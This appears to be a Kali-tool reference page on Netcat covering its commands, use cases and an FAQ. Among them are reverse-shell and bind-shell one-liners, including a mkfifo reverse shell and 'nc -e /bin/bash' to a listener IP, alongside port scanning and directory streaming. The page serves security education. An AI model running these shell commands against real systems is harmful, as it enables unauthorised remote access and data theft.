GO KALI FREE

Netcat

Sniffing & Spoofing

Intermediatehigh risk

Netcat (nc) is a versatile networking utility that reads and writes data across network connections using TCP or UDP. It can create almost any kind of connection and is used for port scanning, file transfers, and creating backdoors.

Installation

sudo apt install netcat

Basic Syntax

nc [options] <host> <port>

Quick Facts

Full Name
Netcat (nc)
License
OpenBSD License / GPL
Written In
C
Platforms
Linux, macOS, Windows, BSD
Category
Networking Utility
Protocols
TCP, UDP
First Release
1995
Author
Hobbit

Tool Overview

Netcat, often called the Swiss Army Knife of networking, is a simple yet powerful utility that reads and writes data across network connections using TCP or UDP. Its minimal design belies its versatility — it can function as a port scanner, file transfer tool, chat server, reverse shell, or network debugger.

Originally created by Hobbit in 1995, Netcat has been ported to every major operating system and is included by default on virtually all Linux distributions. Its simplicity makes it ideal for scripting and quick network testing without installing additional tools.

Security professionals use Netcat extensively for penetration testing, particularly for creating reverse shells during exploitation and transferring files between systems. Despite its age, Netcat remains one of the most practical tools in any security toolkit.

Common Commands

nc -lvp 4444Listen on port - Creating a listener for incoming connections
nc 192.168.1.1 4444Connect to port - Connecting to a remote listener
nc -lvp 4444 -e /bin/bashBind shell - Creating a shell listener (dangerous!)
nc 192.168.1.1 4444 -e /bin/bashReverse shell - Sending shell to listener
nc -zv 192.168.1.1 1-1000Port scan - Quick port scanning
nc -lvp 1234 > file.txtReceive file - File transfer (receiver)
nc -w 3 192.168.1.1 80Timeout - Drop the connection after 3 seconds of inactivity
nc -u 192.168.1.1 53UDP mode - Open a UDP connection instead of TCP
echo '' | nc -v -n -w1 192.168.1.1 22Banner grab - Connect briefly to read a service banner
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/fFIFO reverse shell - Reverse shell on netcat builds without -e
nc -lvnp 4444 -kKeep listening - Stay open for repeated inbound connections
tar czf - /path | nc 192.168.1.1 4444Directory transfer - Stream a compressed archive over netcat

Step-by-Step Guide

  1. 1Determine whether you need to act as a server or a client
  2. 2Select an appropriate communication port
  3. 3Incorporate verbosity to see connection details
  4. 4Exercise extreme caution when tying the connection to a system executable
  5. 5Keep an eye on the session to ensure data is moving as expected

Warnings

Use Cases

Reverse Shell

Create a reverse shell connection from a target back to your listener for remote access.

Port Scanning

Scan target ports to identify open services and potential attack vectors.

File Transfer

Transfer files between systems without needing SCP, FTP, or other file transfer tools.

Banner Grabbing

Retrieve service banners from open ports to identify software versions and configurations.

Network Debugging

Test TCP/UDP connectivity and diagnose network issues with raw connections.

Bind Shell

Set up a listening shell on a target that you can connect to for remote command execution.

Related Tools

Nmap

Reconnaissance

Socat

Sniffing & Spoofing

Ncat

Sniffing & Spoofing

Hydra

Password Attacks

Metasploit

Exploitation

Frequently Asked Questions

What is Netcat used for?

Netcat is a versatile networking utility used for port scanning, banner grabbing, file transfers, creating reverse shells and bind shells, network debugging, and testing network services.

What is the difference between Netcat and Ncat?

Ncat is a modern reimplementation by the Nmap project with added features like SSL encryption, connection brokering, and proxy support. Netcat (nc) is the traditional version with basic TCP/UDP functionality.

Is Netcat a backdoor?

Netcat itself is a legitimate networking tool, but it can be used to create backdoors by setting up listening shells. Security professionals use it for authorized testing, while attackers may abuse it post-exploitation.

Which version of Netcat is on Kali Linux?

Kali Linux typically includes both OpenBSD netcat (nc) and traditional GNU netcat. Use nc -h to check which version is installed on your system.

How do I use Netcat for port scanning?

Use the -z flag for port scanning: nc -zv target.com 1-1000 scans ports 1-1000. The -v flag provides verbose output showing open ports, while -n skips DNS resolution for faster scanning.

How do I transfer files with Netcat?

On the receiver, run nc -lvnp 4444 > received_file. On the sender, run nc target.com 4444 < file_to_send. The file data flows through the TCP connection from sender to receiver.

How do I create a reverse shell with Netcat?

On your listener machine, run nc -lvnp 4444. On the target, run nc -e /bin/bash YOUR_IP 4444. This connects the target's bash shell back to your listener for remote command execution.

What is banner grabbing with Netcat?

Connect to a service port and send a request or wait for a response: nc target.com 80 then type GET / HTTP/1.0. The service will respond with a banner containing software version and configuration information.

How do I use Netcat in chat mode?

Start a listener on one machine: nc -lvnp 4444. Connect from another: nc target.com 4444. Both sides can now type messages that appear on the other side, creating a simple bidirectional chat session.

Can Netcat scan UDP ports?

Yes, use the -u flag for UDP scanning: nc -zvu target.com 50-100. UDP scanning is slower than TCP because UDP is connectionless and requires timeout-based detection of open ports.

How do I use Netcat for banner grabbing?

Connect to a service and wait for the banner: nc target.com 25 (for SMTP) or nc target.com 110 (for POP3). Many services send identification banners upon connection, revealing software versions.

Can Netcat transfer directories?

Yes, compress the directory first: tar czf - /path/to/dir | nc target.com 4444. On the receiver: nc -lvnp 4444 | tar xzf -. This transfers entire directory structures through a single Netcat connection.

How do I create a bind shell with Netcat?

On the target, run: nc -lvnp 4444 -e /bin/bash to create a listening shell. On your machine, connect with: nc target.com 4444. This provides remote command execution through the Netcat connection.

Can Netcat communicate over IPv6?

OpenBSD Netcat (ncat) supports IPv6 with the -6 flag: ncat -6 target.com 80. Traditional Netcat versions may not support IPv6. Use ncat from the Nmap project for full IPv6 support.

How do I use Netcat for port forwarding?

Use Netcat as a simple relay: mkfifo backpipe; nc -l 8080 < backpipe | nc target 80 | tee > backpipe. This forwards traffic from port 8080 to the target's port 80 bidirectionally.

Can Netcat detect open ports without completing connections?

With -z flag: nc -zv target.com 1-1000. The -z flag performs connection scanning without sending data, just checking if the port accepts connections. Add -v for verbose output showing open ports.

How do I use Netcat with SSL/TLS encryption?

Use ncat (from Nmap) with --ssl: ncat --ssl target.com 443. This wraps the connection in SSL/TLS encryption. Regular Netcat does not support SSL; ncat is the recommended alternative for encrypted connections.

Can Netcat act as a simple HTTP server?

No, Netcat is not an HTTP server. It can serve files through raw TCP, but for proper HTTP serving use Python's http.server module or a dedicated web server. Netcat is better suited for raw TCP/UDP communication.

How do I set connection timeouts in Netcat?

Use the -w flag for timeout: nc -w 3 target.com 80 sets a 3-second timeout. Without -w, Netcat connections may hang indefinitely. Always use timeouts in scripts to prevent hanging processes.

Tags

#sniffing-spoofing

Output Explanation

It provides connection feedback and then establishes a direct pipe. Any characters entered on one side are immediately transmitted and displayed on the other side.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.